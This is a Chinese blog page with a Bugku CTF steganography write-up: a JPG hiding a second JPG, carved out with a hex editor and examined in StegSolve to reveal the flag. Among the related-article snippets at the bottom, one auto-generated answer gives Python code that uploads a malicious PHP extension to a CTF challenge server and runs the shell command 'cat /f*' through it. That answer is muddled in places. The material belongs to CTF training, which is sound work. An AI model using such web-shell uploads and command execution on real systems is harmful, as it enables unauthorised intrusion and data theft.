Bugku：简单套娃

最新推荐文章于 2024-03-26 19:44:14 发布
最新推荐文章于 2024-03-26 19:44:14 发布
阅读量2.7k 收藏 1
点赞数 3
分类专栏： Bugku CTF_MISC_Writeup
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_46230755/article/details/114223192
版权

此题用于致敬永远的套神mumuzi。
套神博客：https://blog.csdn.net/qq_42880719
打开题目，是一个图片。
在这里插入图片描述

丢进010发现有两个jpg头
把第二个FFD8FFE0后面一起复制下来，另存为一个新的图片。
丢进StegSolve，发现别的图层存在flag。
在这里插入图片描述

flag{Mumuzi_the_God_of_Matryoshka}

运气好i，拿了四血
感谢mumuzi师傅的帮助！！
在这里插入图片描述

FW_ENJOEY
关注
  • 3
    点赞
  • 踩
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
bugku-writeup-MISC-简单套娃
dark的博客
07-08 531
题目：简单套娃 工具：010 editor Stegsolve 01—010 editor查看图像 使用010 editor打开图像，发现两个图像头文件，将第二个头文件至后面部分保存为第二张图片。 02—Stegsolve图像分析 在图层中发现flag，flag不是很清晰，可以多个图像对应观察。 ...
bugkuctf解题-杂项
05-04
bugku writeup，杂项解题writeup，根据网上的writeup自行解题后整理的日记，与大家分享，大家有新方法的也可以评论中告诉我，共同进步。——CTF菜鸟敬上。
ctf MISC 简单套娃
god_001的博客
03-27 1126
题目给了一个图片 用010editor分析，发现两个 FF D8（JPG图像起始位置），复制第二段开始的数据另存为JPG图像 将得到的两个图象使用Stegsolve里的"Image Combiner"模式（图片拼接），在SUB（R，G，B）模式下得到flag 对于Stegsolve的使用： 其有 File Format、Data Extract、Steregram Solve、Frame Browser、Image Combiner五种功能 File Format文件格式功能下，可查看图片的
bugku 简单套娃
weixin_46578840的博客
06-26 418
下载打开，是一个图片，010打开，一看过去有两个FF D8，也就是两个jpg的头部，将下面另一个以下全部另存为新的jpg图片 Stegsolve打开 眼睛看废了才得到 flag{Mumuzi_the_God_of_Matryoshka}
bugku：简单的套娃
qq_57061511的博客
06-14 1050
bugku：简单的套娃 下载得到一张图片，根据题目提示，猜测是图片里面套图片，使用binwalk打开发现，果然有两张图片，接下来我们要进行图片提取，将图片拖到010editor中，将第二个JPG文件头后面的复制下来另存，得到另一张图片，放到stegsolve中，点击SteregramSolve，左右偏移立体视图，直到发现flag出现。 知识点： 1.binwalk：binwalk是用于搜索给定二进制镜像文件以获取嵌入的文件和代码的工具。具体使用方法参考大神博客（转载）：【binwalk使用整理_轩渊的博客.
bugku 简单套娃详细步骤
qq_44740774的博客
05-30 1056
第一步 用010edit打开图片文件，输入文件头，发现有两个图层，将第二个图层从头到结尾全部复制粘贴到十六进制文件中去，最后保存为jpg格式就得到和原图差不多的图片# 第二步 用Stegsolve.jar中的Analyse中imge combiner功能打开图片就能得到flag 比较费眼！ flag{Mumuzi_the_God_of_Matryoshka} ...
BugkuCTF-MISC题简单套娃
am_03的博客
09-04 871
打开题目，是一个图片。 丢进010发现有两个jpg头 把第二个FFD8FFE0后面一起复制下来，另存为一个新的图片。 丢进StegSolve，发现别的图层存在flag。 点击下方的左右箭头变换， 若flag实在看不清，两张图放进Stegsolve的Image Combiner通过SUB(RGB separate)模式看一下（相互变换两张图片打开顺序） ...
bugku-简单套娃
kw741951的博客
03-26 167
所以想到文件分离，试着把第一个FF D8 FF的文件删掉，剩下的另存为一张图片。看到端倪，有两个jpg文件头FF D8 FF。打开图片，得到图片右上角有隐含的flag。首先查看一下属性，没有找到有用信息。试试用010editor打开。
简单的套娃
D1stiny的博客
05-04 1114
套娃 最简单的那种套娃 <?php include 'flag.php'; highlight_file(__FILE__); error_reporting(0); $ia = "index.php"; $query = $_SERVER['QUERY_STRING']; //var_dump($_GET); if (preg_match('/^xxxxisfun$/', $_G...
产品方法论：俄罗斯套娃原理.docx
12-06
【产品方法论：俄罗斯套娃原理】 产品方法论中的“俄罗斯套娃原理”是一个形象的比喻，用于描述产品发展过程中的“包含”关系。如同俄罗斯套娃，一个产品内部可以包含多个子产品或功能，每个子产品都是独立、完整且...
Scratch图形化编程题：套娃生产机 根据输入的套娃层数，自动生产出套娃产品
最新发布
05-27
Scratch图形化编程题：套娃生产机。 根据输入的套娃层数，自动生产出套娃产品。
俄罗斯套娃
04-17
"俄罗斯套娃"这个标题可能是指一种特殊的数据处理或存储方式，它借鉴了传统玩具俄罗斯套娃的概念。在信息技术领域，这种比喻可能用于描述一种数据结构或者编程技巧，其中数据被嵌套在一个又一个的层次中，每个层级都...
俄罗斯套娃奖品Java程序
08-12
标题中的“俄罗斯套娃奖品Java程序”表明这是一个使用Java编程语言实现的程序，它可能与俄罗斯套娃这种玩具的概念相结合，创建出一种趣味性的计算模型或者游戏。俄罗斯套娃通常指的是一个大娃娃里面装着小一点的同款...
简单套娃MISC-Bugku
Alasding的博客
09-15 584
简单套娃MISC 题目分析答案 题目 一只美丽的水母 但是……美丽是它的，跟我又有什么关系呢，我只是个瞎子 罢了 分析 经过查看，图片格式没问题，不是压缩包，flag不在末尾，不是lsb隐写…… 010打开，分析： 发现存在两个jpg的格式头 FFD8FFE0 把第二个格式头以及之后的全部内容选中，重新保存一个图片 发现和原图一样…… 看了提示才知道，要用stegsolver打开图片，然后用image combiner将提取出的图片和原图叠加，左右点点看，发现在SUB有了新世界！ 瞎眼吗…… 再大
bugku-Misc-wp
qq_43871179的博客
09-26 271
bugku-Misc-1 https://www.wolai.com/jakie_47/cXhZ78EkEivpcWL5uuPUpV 目前完成了以下题目，因为wolai笔记无法直接导入进csdn上，这里把wolai的笔记链接附上。 大家可以根据下面的预览一下是否有需要查看的题目在点进链接查看详细步骤。 只有黑棋的棋盘 三色绘恋 社工-进阶收集 成果狗成果狗 图穷匕见 多彩（未完成） 一切有为法如梦幻泡影 有黑白棋的棋盘 不简单的压缩包 一枝独秀 小美的秘密 插画 ...
某CTF---Easy_ZipFile
3tefanie丶zhou的博客
12-17 1790
【人生当苦无妨，良人当归即好】
第五周bugku杂项
plant1234的博客
03-05 413
Bugku 前二十题社工-进阶收集:这是一张单纯的图片:隐写 :一级目录 社工-进阶收集: 题目：小明当年为了追求小美想尽办法获得小美的地址。直到有一天小美发了一条说说，小明觉得希望来了。 (实战改编题，难度降低了。) 做题思路 将小美的说说的照片进行百度试图发现： 知道小美家在西安大雁塔附近， 用地图查西安大雁塔的地方： 根据距离判断得出小区 得到flag: 这是一张单纯的图片: 根据题目打开得到一张图片： 思路：先用winhex打开会发现在最后的部分有html实体编码 html实体编码： HT
ctfshow渔人杯2021 部分WP
mumuzi的博客
04-01 5455
python写的及其拉胯，所以请见谅（是真的拉胯） 解题用的方法都是笨方法，大家知道怎么做了之后可以找简单的方法 已解题：签到抽奖、神仙姐姐、飘啊飘、感受下气氛、我跟你拼了、套神应援团.png、贪吃蛇的秘密、简单二维码、misc41、亚当和夏娃 加上自己的两道题：你以为是easyRSA吗，其实是我套娃之神哒 、我想要获得旗帜 1.签到抽奖 得到flag 中文也可能是英文及其他小众语言字符 2.神仙姐姐 当然我不会写脚本，我是不会这样做的。。 首先打开burp，点击一下“拜” 发现会向sx.ph
第五届蓝帽杯初赛：冬奥会_is_coming
qq_46230755的博客
04-30 8437
运气好，这次蓝帽杯比赛，做出了这题，就能进半决赛了，这题实在是很套娃，我都怀疑是不是我套宝出的题目了。 题目是究极套娃题打开文件存在冰墩墩图片。 把图片放入010edito里面，发现有编码，一个rar全部截出 得到新的rar里面有一个MP3文件，同时rar有提示八位数字 将MP3的文件进行MP3stego解码，然后密码是20220204 （提示的八位数字）冬奥会的开赛时间 得到一堆的编码，是hex。 空格去掉 \x转为hex编码 然后这是wingding编码，转换一下 得到一串英文 然后去这
ctfshow套娃shell
08-24
CTFSHOW套娃shell是一种常见的利用技术，用于在Web应用程序中执行命令和控制服务器。根据提供的引用内容，以下是一种使用CTFSHOW套娃shell的方法： 1. 首先，需要获取CTFSHOW扩展。可以通过运行命令`php ext_skel.php --ext ctfshow --std`来生成该扩展的目录。 2. 进入生成的目录，并编辑.c文件，根据需要进行修改。 3. 执行以下命令来编译和安装扩展：`phpize ./configure make && make install`。编译完成后，会告知具体的扩展安装位置。 4. 通过发送POST请求，使用CTFSHOW套娃shell来写入并执行命令。示例代码如下： ```python import requests url = "http://690602f6-e0b4-4a2b-b0e0-b36c4e383275.challenge.ctf.show/" data = {'file': '/usr/local/lib/php/extensions/no-debug-non-zts-20180731/mysqli.so', 'content': open('ctfshow.so', 'rb').read()} requests.post(url + '?a=write', data=data) requests.get(url + '?a=run') ``` 5. 使用CTFSHOW套娃shell执行命令。可以使用以下命令示例： ```python import requests url = "http://690602f6-e0b4-4a2b-b0e0-b36c4e383275.challenge.ctf.show/" data = {'cmd': 'cat /f*'} requests.post(url + '?a=shell', data=data) ``` 这样，您就可以使用CTFSHOW套娃shell来执行命令并获取所需的结果了。请注意，使用套娃shell存在安全风险，应仅在合法和授权的情况下使用。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* *3* [CTFSHOW 常用姿势篇（811-820）](https://blog.csdn.net/miuzzx/article/details/124038567)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 100%"] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值